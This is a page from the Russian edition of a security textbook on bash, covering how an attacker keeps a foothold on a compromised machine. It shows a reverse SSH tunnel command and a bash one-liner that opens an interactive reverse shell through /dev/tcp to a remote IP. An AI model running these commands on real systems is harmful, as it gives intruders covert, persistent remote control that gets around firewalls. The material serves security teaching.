Paul Troncone and Carl Albing Cybersecurity Ops with bash Attack, Defend, and Analyze from the Command Line

Глава 16. Создание точки опоры
235
Рис. 16.2.
Обратное SSH-соединение
Настройка.обратного.SSH-соединения.в.целевой.системе:
ssh -R 12345:localhost:22 user@remoteipaddress
Опция.
-R
.включает.переадресацию.удаленных.портов..Первое.число,.
12345
,.указывает.
номер.порта,.который.удаленная.система.(злоумышленник).будет.использовать.для.
обратного.SSH-соединения.с.целевой.системой..Аргумент.
localhost:22
.определяет.но-
мер.порта,.который.целевая.система.будет.прослушивать,.чтобы.получить.соединение.
Это,.по.сути,.создает.исходящее.соединение.от.целевой.системы.к.серверу.SSH,.
что.позволит.злоумышленнику.создать.обратное.SSH-соединение.с.целевой.си-
стемой..Создав.такое.SSH-соединение.(от.сервера.к.клиенту),.злоумышленник.
сможет.удаленно.выполнять.команды.в.целевой.системе..Поскольку.подключение.
было.инициировано.целевым.объектом,.оно,.скорее.всего,.не.будет.ограничиваться.
правилами.брандмауэра,.находящегося.в.сети.целевого.объекта,.поскольку.пра-
вила.фильтрации.исходящего.трафика.обычно.не.настолько.строгие,.как.правила.
фильтрации.входящего.трафика.
Чтобы.создать.обратное.SSH-соединение.с.атакующей.системой.после.подключе-
ния.к.цели,.можно.написать.следующее:
ssh localhost -p 12345
Обратите.внимание:.чтобы.завершить.подключение.к.целевой.системе,.вам.нужно.
будет.предоставить.учетные.данные.для.входа.
Бэкдор bash
Основная.функция.инструмента.удаленного.доступа.—.создание.сетевого.подклю-
чения..Как.показано.в.главе.10,.bash.позволяет.создавать.сетевые.подключения.с.по-
мощью.специальных.обработчиков.файлов.
/dev/tcp
.и.
/dev/udp
..Эту.возможность.
также.можно.использовать.для.настройки.удаленного.доступа.в.целевой.системе:
/bin/bash -i < /dev/tcp/192.168.10.5/8080 1>&0 2>&0

---

236